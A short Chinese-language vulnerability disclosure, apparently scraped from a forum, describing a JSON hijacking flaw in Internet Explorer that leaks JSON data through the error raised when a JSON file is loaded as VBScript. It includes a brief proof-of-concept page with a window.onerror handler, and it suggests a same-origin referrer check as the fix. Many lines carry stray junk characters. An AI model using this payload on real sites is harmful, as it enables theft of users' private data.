IE通用JSON劫持漏洞

admin

简要描述：

$ N. P- E+ k4 |6 g由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
. J. m5 P& |( w6 O3 l) Y& W
2 X; W0 Q( Y1 F+ \0 S当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
' K8 O- C  ?% Z/ W/ m+ m) B漏洞证明：
2 N& n) {& j$ X<script>
/ {* N4 O. ?; owindow.onerror=function(_){
5 |0 ^8 s5 ?  O+ e! f: p8 A7 Q' jalert(_)
}
! ?; G$ t1 E4 _4 z1 l# W) k5 N& C</script>
2 S" b. G9 f+ t: t, g<script language=vbscript src=1.json></script>
% V9 q8 g% _: f2 F* b3 D

1 C" M# b' Z. P; j, [* b1 r1.json:
[{"name":"sogili","age":19}]
修复方案：
8 s1 E) C$ Z7 V- |网站业务对于这个问题可以通过验证referrer是否为同源来防御